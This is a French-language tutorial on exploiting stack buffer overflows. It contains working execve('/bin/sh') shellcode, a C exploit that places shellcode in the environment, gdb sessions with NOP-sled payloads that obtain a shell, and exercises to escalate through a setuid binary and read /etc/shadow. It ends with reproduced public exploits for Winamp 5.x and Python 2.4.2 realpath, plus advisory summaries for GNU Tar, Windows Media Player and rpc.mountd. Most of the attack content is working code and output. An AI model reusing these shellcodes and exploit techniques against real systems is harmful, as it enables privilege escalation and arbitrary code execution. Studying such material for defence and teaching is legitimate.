Vulnérabilités: comment cela s'exploite ?

Ecrivons un shellcode

L'intéret d'un shellcode est de pouvoir faire exécuter son propre code par le programme (et non en utilisant une fonction de la libc). Dans un premier temps on va tester un shellcode puis aprés on va voir les différentes techniques que l'on peut utiliser pour rediriger l'éxécution dessus.

Voici un exemple de shellcode, qui correspond aux instructions nécessaires pour faire un appel système execve("/bin/sh",{"/bin/sh",0},{0}). Pour tester son fonctionnement on peut utiliser une petite technique en c :

# cat execve.c
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main() {
  int *ret;
  ret = (int *)&ret + 2;
  *ret = (int) ≻
}
# gcc execve.c -o test
# ./test
sh-3.00$ 
  

Voici ce qui s'est passé :

  • on prend l'adresse du pointeur ret (qui correspond alors à l'addresse de l'ebp - 4 car c'est la seule variable locale)
  • on l'incrémente de deux pour qu'elle pointe alors sur l'addresse de retour
  • on écrit l'adresse du shellcode à la place pour qu'il soit éxecute à la fin du main

Ecrire son propre shellcode

La plupart des shellcodes lancent un shell, car une fois le shell lance on peut faire ce que l'on veux. Tous d'abord il faut ecrire le code en assembleur d'un programme qui fait un execve de /bin/sh. Pour cela il faut stocker la chaine /bin/sh, une chaine vide pour l'environnement et utiliser l'appel systeme d'execve une fois que les parametres sont passes dans les bons registres (sous linux, dana la pile pour bsd).

.section .text
.globl	_start

_start:
	mov  $0, %eax		# on met 0 dans eax

	push %eax		# on met le 0 sur la stack pour finir notre chaine
	push $0x68732f2f	# hs//
	push $0x6e69622f	# nib/
	mov  %esp, %ebx		# on met l'addresse courante de la stack (le debut de notre chaine), dans %ebx premie
				# argument de execve

	push %eax		# on met un 0 sur la stack c'est celui de l'environement qui est nul.
	mov %esp, %edx		# on met l'addresse de la stack dans edx troisieme argument de execve
	push %ebx		# on met l'adresse de la chaine sur la stack
	mov %esp, %ecx		# on met l'addresse de la stack qui pointe sur l'addresse de notre chaine, dans %ecx 
				# troisieme argument d'execve

	mov $11, %eax		# on met le 11, le numero qui correspond a l'appel systeme d'execve dans %eax
	int  $0x80		# on appelle execve 
    

Si on utilise objdump pour lister les opcodes du programme a mettre dans notre buffer on s'appercoit qu'il y a des zeros, et dans un shellcode c'est mal.

objdump -d execve_push.o

execve_push.o:     file format elf32-i386

Disassembly of section .text:

00000000 <_start>:
   0:	b8 00 00 00 00       	mov    $0x0,%eax
   5:	50                   	push   %eax
   6:	68 2f 2f 73 68       	push   $0x68732f2f
   b:	68 2f 62 69 6e       	push   $0x6e69622f
  10:	89 e3                	mov    %esp,%ebx
  12:	50                   	push   %eax
  13:	89 e2                	mov    %esp,%edx
  15:	53                   	push   %ebx
  16:	89 e1                	mov    %esp,%ecx
  18:	b8 0b 00 00 00       	mov    $0xb,%eax
  1d:	cd 80                	int    $0x80
    

Il faut trouver une maniere de les enlever pour pouvoir injecter ce shellcode. Il existe plusieurs astuces : on peut utiliser xor sur le meme registre pour le mettre a zero, on peut utiliser le prefix b (byte) pour utiliser les instructions de base sur un byte, au lieu d'utiliser 4 bytes et de remplir de zeros les parties non utilisees (en utilisant juste une partie du registre, %al ou %ah pour %eax).

.section .text
.globl	_start

_start:
	xor %eax, %eax		#Cela permet de mettre eax a 0

	pushl %eax	
	pushl $0x68732f2f
	pushl $0x6e69622f
	movl  %esp, %ebx

	pushl %eax
	movl %esp, %edx
	pushl %ebx
	movl %esp, %ecx

	movb $11, %al		#cela permet de metre 11 dans %al, %eax sera egal a 11 car le reste du registre est a 0 
	int  $0x80
    

Objdumpons :

execve_push_zero.o:     file format elf32-i386

Disassembly of section .text:

00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	50                   	push   %eax
  10:	89 e2                	mov    %esp,%edx
  12:	53                   	push   %ebx
  13:	89 e1                	mov    %esp,%ecx
  15:	b0 0b                	mov    $0xb,%al
  17:	cd 80                	int    $0x80
    

On remarque qu'il n'y pas plus de zero, on peut donc injecter se shellcode.

Ce shellcode est tout simple, mais on peut imaginer des choses beaucoup plus compliquees... On peut utiliser strace pour suivre les appels systemes et voir ceux qui echouent dans le cas d'un shellcode complexe.

Exercice: Un `catcode`

Etape:

1: Ecrire cat en assembleur

Votre cat doit afficher le contenu d'un fichier chiche qui est est inferieur a 1024 byte.

4 appels: open, read, write, close

Le nom du fichier stocke dans un .data

N'hesitez pas l'ameliorer pour qu'il puisse lire n'importe qu'elle taille de fichier et qu'il vous l'e-mail par exemple ...

2: Enlever les zeros

Utiliser objdump -D nom_du_fichier.o pour voir ou sont les zeros

chercher des astuces pour les enlever

3: Enlever la section .data

Il faut encore une astuce pour enlever la section .data qui stocke le nom du fichier et le mettre dans la meme section que cat

4: Tester le shellcode

Utiliser objdump ou un script pour recuperer les opcodes du shellcode

Tester votre shellcode avec un programme en C

Exploitons un buffer overflow

Un buffer overflow (aka débordement de tampon), ou bof pour les intimes, est LA faille la plus connue dans un logicielle. Nous allons principallement étudier les débordements ayant lieu sur la pile. A la différence d'un heap overflow, qui est en faite un bof ayant lieu sur le tas, un stack based bof est beaucoup plus simple/standard à exploiter.

Fonctionnement

Donc le but du jeu c'est de prendre le contrôle de l'addresse de retour d'une fonction. Comme ca, au retour de cette fonction, on peut rediriger l'execution du programme.

void foo(char *str)
{
  char buf[512];
  strcpy(buf, str);
  printf("copied\n");
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    return 139;
  foo(argv[1]);
  printf("over\n");
  return (0);
}
    

Ce code est vulnerable dans la fonction foo si la zone pointée par src est de taille supérieure à 512 octets (débordement de buffer). Si on exécute ce programme avec comme paramètre "bar", voici a quoi ressemble la pile : (cf la C calling convention)

           |          | <-- adresses hautes
           |----------|
           | argument |   = Argument de foo (char *str)
           |----------|
           |   EIP    |   = Adresse de retour (ligne 12)
           |----------|
           |   EBP    |   = Base Frame Pointer du main
 EBP =>    |----------|
           |          |
           |          |   = Variable locale (char buf[512])
           | \0 r a b |   
 ESP =>    |----------|
    

Maintenant si on exécute ce programme avec un paramètre d'une taille de 600 'A', la fonction strcpy va copier l'argument dans buf. Voici les conséquences :

                   
           | A A A A  | <-- adresses haute
           |----------|
           | A A A A  |   = Argument de foo (char *str)
           |----------|
           | A A A A  |   = Adresse de retour (ligne 12)
           |----------|
           | A A A A  |   = Base Frame Pointer du main
 EBP =>    |----------|
           | A A A A  |
           | A A A A  |   = Variable locale (char buf[512])
           | A A A A  |   
 ESP =>    |----------|
    

Voici l'effet produit :

# ./a.out `python -c 'print "A"*600'`
copied
Segmentation fault (core dumped)

# gdb a.out core
Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb) print $eip
$1 = (void *) 0x41414141
    

Un core dump est un fichier généré par le noyau quand un programme segfaulte (tente d'accéder a une zone non-allouée). Pour obtenir un code dump : # ulimit -c unlimited. Avec un core dump vous pouvez restaurer l'état des registres et l'ensemble de la mémoire virtuelle du programme.

La dernière ligne nous indique que le programme à plante dans la fonction ?? à l'adresse 0x41414141. A la fin de l'exécution de la fonction, la valeur de l'ebp est copiée dans l'esp, puis la valeur de l'ebp est restauré (pop %ebp), enfin l'adresse de retour est mise dans eip (pop %eip). Dans notre cas, cette valeur de retour est l'adresse 0x41414141 car nous avons overwrité l'adresse de retour de la fonction foo par des A (en ascii A = 0x41).

Techniques d'exploitation

Vous avez compris, le but du jeu est de modifier l'eip pour qu'il pointe vers notre buffer, dans lequel nous avons place un shellcode, afin de faire executer du code arbitraire. Afin de connaitre l'adresse du buffer, il faut analyser directement le binaire. Attention, La version de gcc, les flags de compilation et les librairies influencent beaucoup le résultat.

<foo+0>: push %ebp                             Prologue
<foo+1>: mov %esp,%ebp
<foo+3>: sub $0x208,%esp                       Descend la stack pour les variables locales (0x208 = 520)
[...]
<foo+12>: mov 0x8(%ebp),%eax                   Push du deuxième argument de strcpy (str).
<foo+15>: push %eax                            Son adresse est situe a 8 octets de l'ebp (cf schéma)
<foo+16>: lea 0xfffffe00(%ebp),%eax            Push du premier argument de strcpy (buf
<foo+22>: push %eax                            L'index 0xfffffe00 est signé, et vaut -512
<foo+23>: call 0x8048368                       Appel de strcpy
[...]
<foo+34>: push $0x80485b0                      Push de l'argument de printf
<foo+39>: call 0x8048358                       Appel de printf
[...]
<foo+47>: leave                                Epilogue
<foo+48>: ret
    

Ce qu'il faut noter c'est que le début du buffer buf[] est a 512 octets de l'ebp. Cette valeur est spécifique a la version de gcc en fonction de la mannière dont il optimize le code. On peut maintenant modifier précisément l'addresse de retour sur la stack :

(gdb) r `python -c 'print "A"*(512+4) + "BCDE"'`
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /root/a.out `python -c 'print "A"*524 + "BBBB"'`
 copied

 Program received signal SIGSEGV, Segmentation fault.
 0x45444342 in ?? ()



           |          | <-- adresses hautes
           |----------|
           |      \0  |   = Argument de foo (char *str)
           |----------|
	   | E D C B  |   = Adresse de retour (ligne 12)
           |----------|
           | A A A A  |   = Base Frame Pointer du main
           |----------|
           | A A A A  |
           | A A A A  |   = Variable locale (char buf[512])
	   | A A A A  |
           |----------|

    

Il peut y avoir une autre erreur si l'adresse est accessible : si on change "BCDE" par une adresse accessible mais sans instructions valides : 0x08048407 ((gdb) r `python -c 'print "A"*516 + "\x07\x84\x04\x08"'`)

Donc si on écrit l'adresse d'une instruction valide on va pouvoir l'exécuter. Si le programme vulnérable est set-uid root, on va pouvoir éxécuter des instructions arbitraires dans le contexte de root. Le plus souvent un attaquant va essayer de faire éxècuter un shell sous l'identité de root, mais cela peut ètre n'importe quel autre shellcode. La difficulté est d'avoir l'adresse en mémoire de celui-ci pour pouvoir l'écrire sur la stack (à la place de l'addresse de retour). Mais il peut aussi utiliser le code déjà présent en mémoire, notament celui de la libc. Cela s'appelle faire un return to the libc. En effet les fonctions de la libc devraient être présentes/accessibles dans la mémoire virtuelle du programme. La difficulté est de passer les arguments. Par exemple si on veut appeler la fonction system il faut mettre en paramètre un pointeur vers une chaîne de caractères contenant le nom du programme a lancer.

Shellcode dans l'environement

Si l'attaque est locale le plus simple est de mettre le shellcode dans l'environnement car on peut calculer précisément son adresse avec la formule suivante :

//         début de la stack - padding -   PROG_PATH      -    SHELLCODE      - 2 octets des fins des 2 chaînes de caractères 
return_address = 0xc0000000  -   4    - strlen(PROG_PATH) - strlen(SHELLCODE) - 2
    

Voici à quoi ressemble le haut de la pile (les argv et les variables d'environnement):

# gdb /a.out
(gdb) b main
(gdb) r
(gdb) x/65c 0xbfffffc0
0xbfffffc0:     105 'i' 51 '3'  56 '8'  54 '6'  45 '-'  112 'p' 99 'c'  45 '-'
0xbfffffc8:     108 'l' 105 'i' 110 'n' 117 'u' 120 'x' 45 '-'  103 'g' 110 'n'
0xbfffffd0:     117 'u' 47 '/'  50 '2'  46 '.'  57 '9'  53 '5'  47 '/'  105 'i'
0xbfffffd8:     110 'n' 102 'f' 111 'o' 58 ':'  47 '/'  117 'u' 115 's' 114 'r'
0xbfffffe0:     47 '/'  115 's' 104 'h' 97 'a'  114 'r' 101 'e' 47 '/'  105 'i'
0xbfffffe8:     110 'n' 102 'f' 111 'o' 47 '/'  101 'e' 109 'm' 97 'a'  99 'c'
0xbffffff0:     115 's' 45 '-'  50 '2'  49 '1'  0 '\0'  47 '/'  97 'a'  46 '.' <= "/a.out"
0xbffffff8:     111 'o' 117 'u' 116 't' 0 '\0'  0 '\0'  0 '\0'  0 '\0'  0 '\0' <= padding
0xc0000000:     Cannot access memory at address 0xc0000000
    

Pour réaliser une telle attaque on va utiliser un exploit en C afin de contrôler l'environment du programme, qui marchera a tous les coups :

/*
** ce programme exploite le programme to_exploit qui est vulnerable a un buffer overflow dans argv[1]
*/
char    shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
                      "\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

#define BUF_SIZE 1024
#define OVERFLOW 512
#define PROG_NAME "to_exploit"

void    make_buffer(char *buf, unsigned long eip)
{
  unsigned long *ebp;
  int i;

  for (i = 0; i < OVERFLOW; i++)
    *buf++ = 'A';
  ebp = (unsigned long *)buf;
  *ebp++ = 0x42424242;              // fake ebp 
  *ebp = eip;
}

int     main(int argc, char **argv)
{
  char buf[BUF_SIZE];
  unsigned long ret;
  char *prog[]={PROG_NAME, buf, 0};
  char *env[]={shellcode, 0};

  ret= 0xc0000000 - 4 - strlen(prog[0]) - strlen(shellcode) - 2;

  memset(buf, '\0', BUF_SIZE);
  make_buffer(buf, ret);

  execve(prog[0],prog,env);
 }
    

Shellcode en parametre

Le problème quand le shellcode est passé en paramètre au programme, c'est que son adresse dépend de l'état de la stack avant l'éxecution de la fonction vulnérable. (Il y a notament l'environnment, il suffit qu'un utilisateur ait un login plus ou moins long pour que l'adresse change, la taille des parametres du programme qui sont aussi sur la stack, ...). Voici comment on peut procéder :

(gdb) break foo
Breakpoint 1 at 0x8048469
(gdb) r `python -c 'print "A"*512 + "BBBB" + "CDEF"'`
Starting program: /a.out `python -c 'print "A"*512 + "BBBB" + "CDEF"'`

Breakpoint 1, 0x08048469 in foo ()
(gdb) p $ebp - 512
$1 = (void *) 0xbffff2f8
(gdb) c
Continuing.
copied

Program received signal SIGSEGV, Segmentation fault.
0x46454443 in ?? ()
(gdb)  r `python -c 'sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; 
print sc + "A"*(512 - len(sc)) + "BBBB" + "\xf8\xf2\xff\xbf"'`

Breakpoint 1, 0x08048469 in foo ()
(gdb) c
Continuing.
copied
sh-3.00# exit

Program exited normally.
(gdb) q
# /a.out `python -c 'sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; 
print sc + "A"*(512 - len(sc)) + "BBBB" + "\xf8\xf2\xff\xbf"'`
copied
Segmentation fault
    

Le debugger rajoute deux variables d'environment : LINE et COLUMN, ce qui fait que l'ensemble de la stack est décallé, donc l'adresse de départ du buffer n'est plus la bonne. Pour avoir plus de chances de tomber sur notre shellcode on peut utiliser un NOP-pad, qui consiste à mettre avant le shellcode beaucoup d'instructions NOP qui ne représentent qu'un seul charactère : 0x90. Il suffit que l'éxecution soit redirigé n'importe ou dans cette zone de NOP pour que le procésseur finisse par éxecuter notre shellcode.

# ./a.out `python -c 'sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; 
print  "\x90"*(512 - len(sc)) + sc + "BBBB" + "\x50\xf3\xff\xbf"'


-----------------------------------------------------------
| NOP NOP NOP NOP NOP NOP NOP | shellcode |  EBP  |  EIP  |
-----------------------------------------------------------
      ^     ^       ^                                 |
      |_____|_______|_________________________________|

    

Exo: exploit classique

Voici son code source /src/bug1.c :

void bar(void)
{
  	printf("ouah\n");
}
void foo(char *str)
{
        char buf[8];

        strcpy(buf, str);
	printf("copied : %s\n", buf);
}

int main(int argc, char *argv[])
{

   if (argc != 2)
      return (-1);
   foo(argv[1]);
   printf("over\n");
   return (0);
}

Etape 1:

Faire afficher ouah

Etape 2:

Faire Afficher ouah cinq fois puis faire quitter le programme proprement sans afficher "over". Il faut trouver une solution pour cumuler des appels de fonctions

Etape 3:

Passer root, faites un chmod +s sur ce programme.

Retourner sous votre compte utilisateur normal (si vous etiez en root jusqu'a maintenant veillez sortir du cours ... ;)

Utiliser votre `catcode` pour afficher le fichier /etc/shadow

Bonus: A celui qui me laisse un compte sur sa machine ...

Quelques exemples de la vie reelle

Nous verrons dans cette partie quelques exemples concrets de buffer overflows dans des programmes tres utilises. Il faut savoir que meme aujourd'hui, c'est une faille tres courante et tres largement exploitee (http://www.frsirt.com/)

Dans un lecteur multimedia

Winamp IN_CDDA.dll Remote Buffer Overflow Exploit  	25 Nov. 2004
 
 Summary
As we reported in our previous article: Winamp IN_CDDA.dll Buffer Overflow, a vulnerability in Winamp's
IN_CDDA.dll allows attackers to cause Winamp to execute arbitrary code by overflowing an internal buffer.
The attached exploit code can be used to test your system for the mentioned vulnerability.
 
Credit:
The information has been provided by Brett Moore.
 
 Details
Vulnerable Systems:
 * Winamp version 5.05

Immune Systems:
 * Winamp version 5.06
 * Winamp version 2.91

Exploit:
/*

Credits go to the author

How to fix and study the bug:

* - The cdda library only reserves 20 bytes for names when files are "*.cda"
* - run Winamp with ollye
* - when loaded locate and break at:

10009BBB 8D4C24 20 LEA ECX,DWORD PTR SS:[ESP+20]
10009BBF 84C0 TEST AL,AL
10009BC1 74 0F JE SHORT in_cdda.10009BD2
10009BC3 3C 2E CMP AL,2E
10009BC5 74 0B JE SHORT in_cdda.10009BD2

that code copies and overwrites the stack if no '.' is found in the
first 20 bytes of the m3u entry. Entry must not have #EXTINF data or
it won't resolve.

* - name that entry like "C:\\1234567890abXXXX.cda" and xxxx will be your return address.
stack will be overwritten and exception occurs. When going out of that exception you'll be launched to padding.
* - look for .data section of in_cdda.dll and locate the shellcode or string, and update if needed the
field Location of shellcode (see host info). In my case it's x1002355b.
*/


#include <stdio.h> //File ops.

//m3u File format
//http://hanna.pyxidis.org/tech/m3u.html

// Host info:
// Name=ntdll (system)
// File version=5.1.2600.1217 (xpsp2.030429-213)
// Path=H:\WINDOWS\System32\ntdll.dll

// Name=in_cdda
// Base=10000000
// Size=00031000 (200704.)
// Entry=1000CE1A in_cdda.<ModuleEntryPoint>
// Path=H:\Archivos de programa\Winamp\Plugins\in_cdda.dll

#define HEADER "#EXTM3U\n"

//Simple MessageBox Shellcode spanish XP Pro: xpsp2.030429-213
//Address of MessageBoxA in xpsp2.030429-213: 77D3b064
char shellcode[]=
"C:\\1234567890ab" //Padding
"\x5b\x35\x02\x10" //Location of shellcode : +-x10 bytes
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xB8"
"\x75\xC1\xe4\x88" //Address of MessageBoxA + 0x11111111
"\x2D\x11\x11\x11\x11\x50\x59\x33\xc0\x50\x68\x42\x6f"
"\x6f\x6d\x54\x5a\x50\x50\x52\x50\x53\x51\xc3.cda\n\r";

//Shellcode:
//B8 75C1e488 MOV EAX,88e4C175 ; MessageBoxA + 0x11111111 to
//2D 11111111 SUB EAX,11111111 ; Make characters readable
//50 PUSH EAX ; xchg registers : eax = 77D3b064
//59 POP ECX ; Offset to API.
//33C0 XOR EAX,EAX ; Create Null
//50 PUSH EAX ; Put ascii0 end of string
//68 61616161 PUSH 6d6f6f42 ; Create string.
//54 PUSH ESP ; Get the offset to the
//5A POP EDX ; Message String
//MessageBox call
//50 PUSH EAX ; Null Pointer
//50 PUSH EAX ; Null Pointer
//52 PUSH EDX ; Message
//50 PUSH EAX ; Null Pointer
//53 PUSH EBX ; Return address: 0x00000000
//51 PUSH ECX ; Address of MessageBoxA
//C3 RETN ; Jump


int main(int argc, char* argv[]) {
FILE *fp;
char *sc=(char *)malloc(sizeof(shellcode)+1);

printf ("winamp 5.x m3u parsing poc - advisorie by Brett Moore\n");
printf ("Simple MessageBox Shellcode spanish XP Pro: xpsp2.030429-213\n");
printf ("Address of MessageBoxA in xpsp2.030429-213: 77D3b064\n");
printf ("Tested on Winamp 5.02\n\n");

if (sc == NULL) {
printf ("malloc error\n");
return -1;
}

memset(sc,'\0',sizeof(sc));
memcpy(sc, shellcode, sizeof(shellcode) );

fp = fopen ("test.m3u","w+");
if (!fp) {
printf (" error opening file.\n");
return -1;
}

fwrite (HEADER, 1, strlen (HEADER), fp);
fwrite (sc , 1, strlen(sc) , fp);
fclose (fp);

printf ("file test.m3u created. Just double click it.\n");
return 0;

}
    

Dans un interpreteur

Python realpath Local Stack Overflow (Exploit)  	19 Mar. 2006
 
 Summary
"Python is a dynamic object oriented programming language ..."

The Python interpreter is vulnerable to a stack overflow due to unsafe use of the realpath() function.
 
Credit:
The original article can be found at:
http://www.gotfault.net/research/exploit/gexp-python.py
 
 Details
Vulnerable Systems:
 * Python version 2.4.2 and prior.

Exploit:
#!/usr/bin/python
 
# gexp-python.py
#
# Python <= 2.4.2 realpath() Local Stack Overflow
# -----------------------------------------------
# Against VA Space Randomization.
#
# Copyright (c) 2006 Gotfault Security
#
# Bug found and developed by: dx/vaxen (Gotfault Security),
# posidron (Tripbit Research Group).
# Environment:
#
# Kernel Version : 2.6.12.5-vs2.0
# GCC Version : 4.0.3
# Libc Version : 2.3.5
#
# Special greets goes to : posidron from tripbit.net
# RFDSLabs, barros, izik,
# Gotfault Security Community.
#
# Original Reference:
# http://gotfault.net/research/exploit/gexp-python.py

import os

# JMP *%ESP @ linux-gate.so.1
jmp = "\x5f\xe7\xff\xff"

shell = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e"
shell += "\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3"
shell += "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
shell += "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

os.chdir("/tmp")
base = os.getcwd()
dir = os.path.join("A"*250, "A"*250, "A"*250, "A"*250, "A"*42, jmp+shell)
os.makedirs(dir)
os.chdir(dir)

os.system('> vuln.py; python vuln.py')
os.remove("vuln.py")
os.chdir(base)
os.removedirs(dir)
    

Dans VI (utilisez emacs ;-))

Date de Publication : 2006-02-22 © FrSIRT.COM -   Voir Notice Légale  
Titre : GNU Tar PAX Extended Headers Handling Buffer Overflow Vulnerability
Identifiant : FrSIRT/AVIS-2006-0684
CVE ID : CVE-2006-0300
Risque : Modéré 
Exploitable à distance : Non
Exploitable en local : Oui
 
Description Technique 	

Une vulnérabilité a été identifiée dans GNU Tar, elle pourrait être exploitée par des attaquants afin de compromettre
un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du traitement de
certaines entêtes malformées, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires
en incitant un utilisateur à extraire une archive spécialement conçue.

Versions Vulnérables

GNU Tar versions antérieures à 1.15.90 (alpha) 
    

Dans un navigateur internet

Date de Publication : 2006-02-14 © FrSIRT.COM -   Voir Notice Légale  
Titre : Microsoft Windows Media Player Plugin Remote Vulnerability (MS06-006)
Identifiant : FrSIRT/AVIS-2006-0575
CVE ID : CVE-2006-0005
OVAL ID : OVAL1559
Risque : Critique 
Exploitable à distance : Oui
Exploitable en local : Oui
 
Description Technique 	

Une vulnérabilité a été identifiée dans le plugin Windows Media Player, elle pourrait être exploitée
par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur
de type buffer overflow présente au niveau du traitement d'un tag "embed src" excessivement long, ce qui
pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires en incitant
un utilisateur à visiter une page web malicieuse en utilisant un navigateur autre que Microsoft Internet
Explorer (e.g. Netscape ou Firefox).

Versions Vulnérables

Microsoft Windows 2000 Service Pack 4
Microsoft Windows XP Service Pack 1
Microsoft Windows XP Service Pack 2
Microsoft Windows Server 2003
Microsoft Windows Server 2003 Service Pack 1
Microsoft Windows XP Professional x64 Edition
Microsoft Windows Server 2003 x64 Edition
    

Dans un demon

Date de Publication : 2006-01-27 © FrSIRT.COM -   Voir Notice Légale  
Titre : Nfs-server rpc.mountd "realpath" Remote Buffer Overflow Vulnerability
Identifiant : FrSIRT/AVIS-2006-0348
CVE ID : CVE-2006-0043
Risque : Elevé 
Exploitable à distance : Oui
Exploitable en local : Oui
 
Description Technique 	

Une vulnérabilité a été identifiée dans nfs-server, elle pourrait être exploitée par des attaquants
distants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type buffer
overflow présente au niveau de "rpc.mountd" qui ne filtre pas correctement certaines données avant leur
traitement par la fonction "realpath()", ce qui pourrait être exploité par un attaquant capable de créer
des liens symboliques ou des fichiers au sein d'une machine vulnérable afin d'exécuter des commandes
arbitraires avec des privilèges "root".

Versions Vulnérables

nfs-server versions 2.x